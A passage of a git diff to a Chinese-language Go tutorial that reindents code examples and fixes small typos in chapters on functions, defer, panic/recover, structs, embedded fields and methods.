Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读 下面我们来看一个实际应用函数的例子(用来计算Max值) ```Go - package main +package main - import "fmt" +import "fmt" - // 返回a、b中最大值. - func max(a, b int) int { - if a > b { - return a - } - return b +// 返回a、b中最大值. +func max(a, b int) int { + if a > b { + return a } + return b +} - func main() { - x := 3 - y := 4 - z := 5 +func main() { + x := 3 + y := 4 + z := 5 - max_xy := max(x, y) //调用函数max(x, y) - max_xz := max(x, z) //调用函数max(x, z) + max_xy := max(x, y) //调用函数max(x, y) + max_xz := max(x, z) //调用函数max(x, z) - fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) - fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) - fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在这直接调用它 - } + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在这直接调用它 +} ``` 上面这个里面我们可以看到`max`函数有两个参数,它们的类型都是`int`,那么第一个变量的类型可以省略(即 a,b int,而非 a int, b int),默认为离它最近的类型,同理多于2个同类型的变量或者返回值。同时我们注意到它的返回值就是一个类型,这个就是省略写法。 @@ -248,46 +248,46 @@ Go语言比C更先进的特性,其中一点就是函数能够返回多个值 我们直接上代码看例子 ```Go - package main +package main - import "fmt" +import "fmt" - //返回 A+B 和 A*B - func SumAndProduct(A, B int) (int, int) { - return A+B, A*B - } +//返回 A+B 和 A*B +func SumAndProduct(A, B int) (int, int) { + return A+B, A*B +} - func main() { - x := 3 - y := 4 +func main() { + x := 3 + y := 4 - xPLUSy, xTIMESy := SumAndProduct(x, y) + xPLUSy, xTIMESy := SumAndProduct(x, y) - fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) - fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) - } + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} ``` 上面的例子我们可以看到直接返回了两个参数,当然我们也可以命名返回参数的变量,这个例子里面只是用了两个类型,我们也可以改成如下这样的定义,然后返回的时候不用带上变量名,因为直接在函数里面初始化了。但如果你的函数是导出的(首字母大写),官方建议:最好命名返回值,因为不命名返回值,虽然使得代码更加简洁了,但是会造成生成的文档可读性差。 ```Go - func SumAndProduct(A, B int) (add int, Multiplied int) { - add = A+B - Multiplied = A*B - return - } +func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return +} ``` ### 变参 Go函数支持变参。接受变参的函数是有着不定数量的参数的。为了做到这点,首先需要定义函数使其接受变参: ```Go - func myfunc(arg ...int) {} +func myfunc(arg ...int) {} ``` `arg ...int`告诉Go这个函数接受不定数量的参数。注意,这些参数的类型全部是`int`。在函数体中,变量`arg`是一个`int`的`slice`: ```Go - for _, n := range arg { - fmt.Printf("And the number is: %d\n", n) - } +for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) +} ``` ### 传值与传指针 当我们传一个参数值到被调用函数里面时,实际上是传了这个值的一份copy,当在被调用函数中修改参数值的时候,调用函数中相应实参不会发生任何变化,因为数值变化只作用在copy上。 @@ -295,26 +295,26 @@ Go函数支持变参。接受变参的函数是有着不定数量的参数的。 为了验证我们上面的说法,我们来看一个例子 ```Go - package main +package main - import "fmt" +import "fmt" - //简单的一个函数,实现了参数+1的操作 - func add1(a int) int { - a = a+1 // 我们改变了a的值 - return a //返回一个新值 - } +//简单的一个函数,实现了参数+1的操作 +func add1(a int) int { + a = a+1 // 我们改变了a的值 + return a //返回一个新值 +} - func main() { - x := 3 +func main() { + x := 3 - fmt.Println("x = ", x) // 应该输出 "x = 3" + fmt.Println("x = ", x) // 应该输出 "x = 3" - x1 := add1(x) //调用add1(x) + x1 := add1(x) //调用add1(x) - fmt.Println("x+1 = ", x1) // 应该输出"x+1 = 4" - fmt.Println("x = ", x) // 应该输出"x = 3" - } + fmt.Println("x+1 = ", x1) // 应该输出"x+1 = 4" + fmt.Println("x = ", x) // 应该输出"x = 3" +} ``` 看到了吗?虽然我们调用了`add1`函数,并且在`add1`中执行`a = a+1`操作,但是上面例子中`x`变量的值没有发生变化 @@ -325,26 +325,26 @@ Go函数支持变参。接受变参的函数是有着不定数量的参数的。 这就牵扯到了所谓的指针。我们知道,变量在内存中是存放于一定地址上的,修改变量实际是修改变量地址处的内存。只有`add1`函数知道`x`变量所在的地址,才能修改`x`变量的值。所以我们需要将`x`所在地址`&x`传入函数,并将函数的参数的类型由`int`改为`*int`,即改为指针类型,才能在函数中修改`x`变量的值。此时参数仍然是按copy传递的,只是copy的是一个指针。请看下面的例子 ```Go - package main +package main - import "fmt" +import "fmt" - //简单的一个函数,实现了参数+1的操作 - func add1(a *int) int { // 请注意, - *a = *a+1 // 修改了a的值 - return *a // 返回新值 - } +//简单的一个函数,实现了参数+1的操作 +func add1(a *int) int { // 请注意, + *a = *a+1 // 修改了a的值 + return *a // 返回新值 +} - func main() { - x := 3 +func main() { + x := 3 - fmt.Println("x = ", x) // 应该输出 "x = 3" + fmt.Println("x = ", x) // 应该输出 "x = 3" - x1 := add1(&x) // 调用 add1(&x) 传x的地址 + x1 := add1(&x) // 调用 add1(&x) 传x的地址 - fmt.Println("x+1 = ", x1) // 应该输出 "x+1 = 4" - fmt.Println("x = ", x) // 应该输出 "x = 4" - } + fmt.Println("x+1 = ", x1) // 应该输出 "x+1 = 4" + fmt.Println("x = ", x) // 应该输出 "x = 4" +} ``` 这样,我们就达到了修改`x`的目的。那么到底传指针有什么好处呢? @@ -356,44 +356,44 @@ Go函数支持变参。接受变参的函数是有着不定数量的参数的。 Go语言中有种不错的设计,即延迟(defer)语句,你可以在函数中添加多个defer语句。当函数执行到最后时,这些defer语句会按照逆序执行,最后该函数返回。特别是当你在进行一些打开资源的操作时,遇到错误需要提前返回,在返回前你需要关闭相应的资源,不然很容易造成资源泄露等问题。如下代码所示,我们一般写打开一个资源是这样操作的: ```Go - func ReadWrite() bool { - file.Open("file") - // 做一些工作 - if failureX { - file.Close() - return false - } - - if failureY { - file.Close() - return false - } +func ReadWrite() bool { + file.Open("file") +// 做一些工作 + if failureX { + file.Close() + return false + } + if failureY { file.Close() - return true + return false } + + file.Close() + return true +} ``` 我们看到上面有很多重复的代码,Go的`defer`有效解决了这个问题。使用它后,不但代码量减少了很多,而且程序变得更优雅。在`defer`后指定的函数会在函数退出前调用。 ```Go - func ReadWrite() bool { - file.Open("file") - defer file.Close() - if failureX { - return false - } - if failureY { - return false - } - return true +func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false } + return true +} ``` 如果有很多调用`defer`,那么`defer`是采用后进先出模式,所以如下代码会输出`4 3 2 1 0` ```Go - for i := 0; i < 5; i++ { - defer fmt.Printf("%d ", i) - } +for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) +} ``` ### 函数作为值、类型 @@ -404,46 +404,46 @@ Go语言中有种不错的设计,即延迟(defer)语句,你可以在函 函数作为类型到底有什么好处呢?那就是可以把这个类型的函数当做值来传递,请看下面的例子 ```Go - package main - - import "fmt" +package main - type testInt func(int) bool // 声明了一个函数类型 +import "fmt" - func isOdd(integer int) bool { - if integer%2 == 0 { - return false - } - return true - } +type testInt func(int) bool // 声明了一个函数类型 - func isEven(integer int) bool { - if integer%2 == 0 { - return true - } +func isOdd(integer int) bool { + if integer%2 == 0 { return false } + return true +} - // 声明的函数类型在这个地方当做了一个参数 - - func filter(slice []int, f testInt) []int { - var result []int - for _, value := range slice { - if f(value) { - result = append(result, value) - } - } - return result +func isEven(integer int) bool { + if integer%2 == 0 { + return true } + return false +} + +// 声明的函数类型在这个地方当做了一个参数 - func main(){ - slice := []int {1, 2, 3, 4, 5, 7} - fmt.Println("slice = ", slice) - odd := filter(slice, isOdd) // 函数当做值来传递了 - fmt.Println("Odd elements of slice are: ", odd) - even := filter(slice, isEven) // 函数当做值来传递了 - fmt.Println("Even elements of slice are: ", even) +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } } + return result +} + +func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // 函数当做值来传递了 + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) // 函数当做值来传递了 + fmt.Println("Even elements of slice are: ", even) +} ``` 函数当做值和类型在我们写一些通用接口的时候非常有用,通过上面例子我们看到`testInt`这个类型是一个函数类型,然后两个`filter`函数的参数和返回值与`testInt`类型是一样的,但是我们可以实现很多种的逻辑,这样使得我们的程序变得非常的灵活。 @@ -452,34 +452,34 @@ Go语言中有种不错的设计,即延迟(defer)语句,你可以在函 Go没有像Java那样的异常机制,它不能抛出异常,而是使用了`panic`和`recover`机制。一定要记住,你应当把它作为最后的手段来使用,也就是说,你的代码中应当没有,或者很少有`panic`的东西。这是个强大的工具,请明智地使用它。那么,我们应该如何使用它呢? Panic ->是一个内建函数,可以中断原有的控制流程,进入一个令人恐慌的流程中。当函数`F`调用`panic`,函数F的执行被中断,但是`F`中的延迟函数会正常执行,然后F返回到调用它的地方。在调用的地方,`F`的行为就像调用了`panic`。这一过程继续向上,直到发生`panic`的`goroutine`中所有调用的函数返回,此时程序退出。恐慌可以直接调用`panic`产生。也可以由运行时错误产生,例如访问越界的数组。 +>是一个内建函数,可以中断原有的控制流程,进入一个`panic`状态中。当函数`F`调用`panic`,函数F的执行被中断,但是`F`中的延迟函数会正常执行,然后F返回到调用它的地方。在调用的地方,`F`的行为就像调用了`panic`。这一过程继续向上,直到发生`panic`的`goroutine`中所有调用的函数返回,此时程序退出。`panic`可以直接调用`panic`产生。也可以由运行时错误产生,例如访问越界的数组。 Recover ->是一个内建的函数,可以让进入令人恐慌的流程中的`goroutine`恢复过来。`recover`仅在延迟函数中有效。在正常的执行过程中,调用`recover`会返回`nil`,并且没有其它任何效果。如果当前的`goroutine`陷入恐慌,调用`recover`可以捕获到`panic`的输入值,并且恢复正常的执行。 +>是一个内建的函数,可以让进入`panic`状态的`goroutine`恢复过来。`recover`仅在延迟函数中有效。在正常的执行过程中,调用`recover`会返回`nil`,并且没有其它任何效果。如果当前的`goroutine`陷入`panic`状态,调用`recover`可以捕获到`panic`的输入值,并且恢复正常的执行。 下面这个函数演示了如何在过程中使用`panic` ```Go - var user = os.Getenv("USER") +var user = os.Getenv("USER") - func init() { - if user == "" { - panic("no value for $USER") - } +func init() { + if user == "" { + panic("no value for $USER") } +} ``` 下面这个函数检查作为其参数的函数在执行时是否会产生`panic`: ```Go - func throwsPanic(f func()) (b bool) { - defer func() { - if x := recover(); x != nil { - b = true - } - }() - f() //执行函数f,如果f中出现了panic,那么就可以恢复回来 - return - } +func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() //执行函数f,如果f中出现了panic,那么就可以恢复回来 + return +} ``` ### `main`函数和`init`函数 @@ -497,14 +497,14 @@ Go程序会自动调用`init()`和`main()`,所以你不需要在任何地方 我们在写Go代码的时候经常用到import这个命令用来导入包文件,而我们经常看到的方式参考如下: ```Go - import( - "fmt" - ) +import( + "fmt" +) ``` 然后我们代码里面可以通过如下的方式调用 ```Go - fmt.Println("hello world") +fmt.Println("hello world") ``` 上面这个fmt是Go语言的标准库,其实是去`GOROOT`环境变量指定目录下去加载该模块,当然Go的import还支持如下两种方式来加载自己写的模块: @@ -545,10 +545,10 @@ Go程序会自动调用`init()`和`main()`,所以你不需要在任何地方 这个操作经常是让很多人费解的一个操作符,请看下面这个import ```Go - import ( - "database/sql" - _ "github.com/ziutek/mymysql/godrv" - ) + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) ``` _操作其实是引入该包,而不直接使用包里面的函数,而是调用了该包里面的init函数。 diff --git a/zh/02.4.md b/zh/02.4.md index 705703683..8fbf8127c 100644 --- a/zh/02.4.md +++ b/zh/02.4.md @@ -3,10 +3,10 @@ Go语言中,也和C或者其他语言一样,我们可以声明新的类型,作为其它类型的属性或字段的容器。例如,我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示: ```Go - type person struct { - name string - age int - } +type person struct { + name string + age int +} ``` 看到了吗?声明一个struct如此简单,上面的类型包含有两个字段 - 一个string类型的字段name,用来保存用户名称这个属性 @@ -15,16 +15,16 @@ Go语言中,也和C或者其他语言一样,我们可以声明新的类型 如何使用struct呢?请看下面的代码 ```Go - type person struct { - name string - age int - } +type person struct { + name string + age int +} - var P person // P现在就是person类型的变量了 +var P person // P现在就是person类型的变量了 - P.name = "Astaxie" // 赋值"Astaxie"给P的name属性. - P.age = 25 // 赋值"25"给变量P的age属性 - fmt.Printf("The person's name is %s", P.name) // 访问P的name属性. +P.name = "Astaxie" // 赋值"Astaxie"给P的name属性. +P.age = 25 // 赋值"25"给变量P的age属性 +fmt.Printf("The person's name is %s", P.name) // 访问P的name属性. ``` 除了上面这种P的声明使用之外,还有另外几种声明使用方式: @@ -43,50 +43,50 @@ Go语言中,也和C或者其他语言一样,我们可以声明新的类型 下面我们看一个完整的使用struct的例子 ```Go - package main +package main - import "fmt" +import "fmt" - // 声明一个新的类型 - type person struct { - name string - age int - } +// 声明一个新的类型 +type person struct { + name string + age int +} - // 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差 - // struct也是传值的 - func Older(p1, p2 person) (person, int) { - if p1.age>p2.age { // 比较p1和p2这两个人的年龄 - return p1, p1.age-p2.age - } - return p2, p2.age-p1.age +// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差 +// struct也是传值的 +func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { // 比较p1和p2这两个人的年龄 + return p1, p1.age-p2.age } + return p2, p2.age-p1.age +} - func main() { - var tom person +func main() { + var tom person - // 赋值初始化 - tom.name, tom.age = "Tom", 18 + // 赋值初始化 + tom.name, tom.age = "Tom", 18 - // 两个字段都写清楚的初始化 - bob := person{age:25, name:"Bob"} + // 两个字段都写清楚的初始化 + bob := person{age:25, name:"Bob"} - // 按照struct定义顺序初始化值 - paul := person{"Paul", 43} + // 按照struct定义顺序初始化值 + paul := person{"Paul", 43} - tb_Older, tb_diff := Older(tom, bob) - tp_Older, tp_diff := Older(tom, paul) - bp_Older, bp_diff := Older(bob, paul) + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) - fmt.Printf("Of %s and %s, %s is older by %d years\n", - tom.name, bob.name, tb_Older.name, tb_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, bob.name, tb_Older.name, tb_diff) - fmt.Printf("Of %s and %s, %s is older by %d years\n", - tom.name, paul.name, tp_Older.name, tp_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", + tom.name, paul.name, tp_Older.name, tp_diff) - fmt.Printf("Of %s and %s, %s is older by %d years\n", - bob.name, paul.name, bp_Older.name, bp_diff) - } + fmt.Printf("Of %s and %s, %s is older by %d years\n", + bob.name, paul.name, bp_Older.name, bp_diff) +} ``` ### struct的匿名字段 我们上面介绍了如何定义一个struct,定义的时候是字段名与其类型一一对应,实际上Go支持只提供类型,而不写字段名的方式,也就是匿名字段,也称为嵌入字段。 @@ -96,43 +96,43 @@ Go语言中,也和C或者其他语言一样,我们可以声明新的类型 让我们来看一个例子,让上面说的这些更具体化 ```Go - package main - - import "fmt" - - type Human struct { - name string - age int - weight int - } - - type Student struct { - Human // 匿名字段,那么默认Student就包含了Human的所有字段 - speciality string - } - - func main() { - // 我们初始化一个学生 - mark := Student{Human{"Mark", 25, 120}, "Computer Science"} - - // 我们访问相应的字段 - fmt.Println("His name is ", mark.name) - fmt.Println("His age is ", mark.age) - fmt.Println("His weight is ", mark.weight) - fmt.Println("His speciality is ", mark.speciality) - // 修改对应的备注信息 - mark.speciality = "AI" - fmt.Println("Mark changed his speciality") - fmt.Println("His speciality is ", mark.speciality) - // 修改他的年龄信息 - fmt.Println("Mark become old") - mark.age = 46 - fmt.Println("His age is", mark.age) - // 修改他的体重信息 - fmt.Println("Mark is not an athlet anymore") - mark.weight += 60 - fmt.Println("His weight is", mark.weight) - } +package main + +import "fmt" + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // 匿名字段,那么默认Student就包含了Human的所有字段 + speciality string +} + +func main() { + // 我们初始化一个学生 + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // 我们访问相应的字段 + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // 修改对应的备注信息 + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // 修改他的年龄信息 + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // 修改他的体重信息 + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} ``` 图例如下: @@ -143,51 +143,51 @@ Go语言中,也和C或者其他语言一样,我们可以声明新的类型 我们看到Student访问属性age和name的时候,就像访问自己所有用的字段一样,对,匿名字段就是这样,能够实现字段的继承。是不是很酷啊?还有比这个更酷的呢,那就是student还能访问Human这个字段作为字段名。请看下面的代码,是不是更酷了。 ```Go - mark.Human = Human{"Marcus", 55, 220} - mark.Human.age -= 1 +mark.Human = Human{"Marcus", 55, 220} +mark.Human.age -= 1 ``` 通过匿名访问和修改字段相当的有用,但是不仅仅是struct字段哦,所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子 ```Go - package main - - import "fmt" - - type Skills []string - - type Human struct { - name string - age int - weight int - } - - type Student struct { - Human // 匿名字段,struct - Skills // 匿名字段,自定义的类型string slice - int // 内置类型作为匿名字段 - speciality string - } - - func main() { - // 初始化学生Jane - jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} - // 现在我们来访问相应的字段 - fmt.Println("Her name is ", jane.name) - fmt.Println("Her age is ", jane.age) - fmt.Println("Her weight is ", jane.weight) - fmt.Println("Her speciality is ", jane.speciality) - // 我们来修改他的skill技能字段 - jane.Skills = []string{"anatomy"} - fmt.Println("Her skills are ", jane.Skills) - fmt.Println("She acquired two new ones ") - jane.Skills = append(jane.Skills, "physics", "golang") - fmt.Println("Her skills now are ", jane.Skills) - // 修改匿名内置类型字段 - jane.int = 3 - fmt.Println("Her preferred number is", jane.int) - } +package main + +import "fmt" + +type Skills []string + +type Human struct { + name string + age int + weight int +} + +type Student struct { + Human // 匿名字段,struct + Skills // 匿名字段,自定义的类型string slice + int // 内置类型作为匿名字段 + speciality string +} + +func main() { + // 初始化学生Jane + jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} + // 现在我们来访问相应的字段 + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her speciality is ", jane.speciality) + // 我们来修改他的skill技能字段 + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // 修改匿名内置类型字段 + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) +} ``` -从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段,而且可以在相应的字段上面进行函数操作(如例子中的append)。 +从上面例子我们看出来struct不仅仅能够将struct作为匿名字段,自定义类型、内置类型都可以作为匿名字段,而且可以在相应的字段上面进行函数操作(如例子中的append)。 这里有一个问题:如果human里面有一个字段叫做phone,而student也有一个字段叫做phone,那么该怎么办呢? @@ -196,28 +196,28 @@ Go里面很简单的解决了这个问题,最外层的优先访问,也就是 这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子 ```Go - package main - - import "fmt" +package main - type Human struct { - name string - age int - phone string // Human类型拥有的字段 - } +import "fmt" - type Employee struct { - Human // 匿名字段Human - speciality string - phone string // 雇员的phone字段 - } +type Human struct { + name string + age int + phone string // Human类型拥有的字段 +} - func main() { - Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} - fmt.Println("Bob's work phone is:", Bob.phone) - // 如果我们要访问Human的phone字段 - fmt.Println("Bob's personal phone is:", Bob.Human.phone) - } +type Employee struct { + Human // 匿名字段Human + speciality string + phone string // 雇员的phone字段 +} + +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // 如果我们要访问Human的phone字段 + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} ``` ## links diff --git a/zh/02.5.md b/zh/02.5.md index 671fc278a..1be9b0b4b 100644 --- a/zh/02.5.md +++ b/zh/02.5.md @@ -5,24 +5,24 @@ 现在假设有这么一个场景,你定义了一个struct叫做长方形,你现在想要计算他的面积,那么按照我们一般的思路应该会用下面的方式来实现 ```Go - package main +package main - import "fmt" +import "fmt" - type Rectangle struct { - width, height float64 - } +type Rectangle struct { + width, height float64 +} - func area(r Rectangle) float64 { - return r.width*r.height - } +func area(r Rectangle) float64 { + return r.width*r.height +} - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - fmt.Println("Area of r1 is: ", area(r1)) - fmt.Println("Area of r2 is: ", area(r2)) - } +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} ``` 这段代码可以计算出来长方形的面积,但是area()不是作为Rectangle的方法实现的(类似面向对象里面的方法),而是将Rectangle的对象(如r1,r2)作为参数传入函数计算面积的。 @@ -40,7 +40,7 @@ 用上面提到的形状的例子来说,method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle, area()是属于Rectangle的方法,而非一个外围函数。 -更具体地说,Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。 +更具体地说,Rectangle存在字段 height 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。 用Rob Pike的话来说就是: @@ -53,41 +53,41 @@ method的语法如下: 下面我们用最开始的例子用method来实现: ```Go - package main +package main - import ( - "fmt" - "math" - ) +import ( + "fmt" + "math" +) - type Rectangle struct { - width, height float64 - } +type Rectangle struct { + width, height float64 +} - type Circle struct { - radius float64 - } +type Circle struct { + radius float64 +} - func (r Rectangle) area() float64 { - return r.width*r.height - } +func (r Rectangle) area() float64 { + return r.width*r.height +} - func (c Circle) area() float64 { - return c.radius * c.radius * math.Pi - } +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - c1 := Circle{10} - c2 := Circle{25} +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} - fmt.Println("Area of r1 is: ", r1.area()) - fmt.Println("Area of r2 is: ", r2.area()) - fmt.Println("Area of c1 is: ", c1.area()) - fmt.Println("Area of c2 is: ", c2.area()) - } + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} ``` @@ -110,23 +110,23 @@ method的语法如下: 那是不是method只能作用在struct上面呢?当然不是咯,他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了,什么叫自定义类型,自定义类型不就是struct嘛,不是这样的哦,struct只是自定义类型里面一种比较特殊的类型而已,还有其他自定义类型申明,可以通过如下这样的申明来实现。 ```Go - type typeName typeLiteral +type typeName typeLiteral ``` 请看下面这个申明自定义类型的代码 ```Go - type ages int +type ages int - type money float32 +type money float32 - type months map[string]int +type months map[string]int - m := months { - "January":31, - "February":28, - ... - "December":31, - } +m := months { + "January":31, + "February":28, + ... + "December":31, +} ``` 看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef,例如上面ages替代了int @@ -135,79 +135,79 @@ method的语法如下: 你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子 ```Go - package main - - import "fmt" +package main - const( - WHITE = iota - BLACK - BLUE - RED - YELLOW - ) +import "fmt" - type Color byte +const( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) - type Box struct { - width, height, depth float64 - color Color - } +type Color byte - type BoxList []Box //a slice of boxes +type Box struct { + width, height, depth float64 + color Color +} - func (b Box) Volume() float64 { - return b.width * b.height * b.depth - } +type BoxList []Box //a slice of boxes - func (b *Box) SetColor(c Color) { - b.color = c - } +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} - func (bl BoxList) BiggestColor() Color { - v := 0.00 - k := Color(WHITE) - for _, b := range bl { - if bv := b.Volume(); bv > v { - v = bv - k = b.color - } - } - return k - } +func (b *Box) SetColor(c Color) { + b.color = c +} - func (bl BoxList) PaintItBlack() { - for i, _ := range bl { - bl[i].SetColor(BLACK) +func (bl BoxList) BiggestColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if bv := b.Volume(); bv > v { + v = bv + k = b.color } } + return k +} - func (c Color) String() string { - strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} - return strings[c] +func (bl BoxList) PaintItBlack() { + for i := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, } - func main() { - boxes := BoxList { - Box{4, 4, 4, RED}, - Box{10, 10, 1, YELLOW}, - Box{1, 1, 20, BLACK}, - Box{10, 10, 1, BLUE}, - Box{10, 30, 1, WHITE}, - Box{20, 20, 20, YELLOW}, - } - - fmt.Printf("We have %d boxes in our set\n", len(boxes)) - fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") - fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) - fmt.Println("The biggest one is", boxes.BiggestColor().String()) + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestColor().String()) - fmt.Println("Let's paint them all black") - boxes.PaintItBlack() - fmt.Println("The color of the second one is", boxes[1].color.String()) + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) - fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) - } + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) +} ``` 上面的代码通过const定义了一些常量,然后定义了一些自定义类型 @@ -238,7 +238,7 @@ method的语法如下: 也许细心的读者会问这样的问题,PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`,因为SetColor的receiver是*Box,而不是Box。 -你又说对的,这两种方式都可以,因为Go知道receiver是指针,他自动帮你转了。 +你又说对了,这两种方式都可以,因为Go知道receiver是指针,他自动帮你转了。 也就是说: >如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method,而不需要&V去调用这个method @@ -252,81 +252,81 @@ method的语法如下: 前面一章我们学习了字段的继承,那么你也会发现Go的一个神奇之处,method也是可以继承的。如果匿名字段实现了一个method,那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子 ```Go - package main +package main - import "fmt" +import "fmt" - type Human struct { - name string - age int - phone string - } +type Human struct { + name string + age int + phone string +} - type Student struct { - Human //匿名字段 - school string - } +type Student struct { + Human //匿名字段 + school string +} - type Employee struct { - Human //匿名字段 - company string - } +type Employee struct { + Human //匿名字段 + company string +} - //在human上面定义了一个method - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } +//在human上面定义了一个method +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - mark.SayHi() - sam.SayHi() - } + mark.SayHi() + sam.SayHi() +} ``` ### method重写 上面的例子中,如果Employee想要实现自己的SayHi,怎么办?简单,和匿名字段冲突一样的道理,我们可以在Employee上面定义一个method,重写了匿名字段的方法。请看下面的例子 ```Go - package main - - import "fmt" +package main - type Human struct { - name string - age int - phone string - } +import "fmt" - type Student struct { - Human //匿名字段 - school string - } +type Human struct { + name string + age int + phone string +} - type Employee struct { - Human //匿名字段 - company string - } +type Student struct { + Human //匿名字段 + school string +} - //Human定义method - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } +type Employee struct { + Human //匿名字段 + company string +} - //Employee的method重写Human的method - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } +//Human定义method +func (h *Human) SayHi() { + 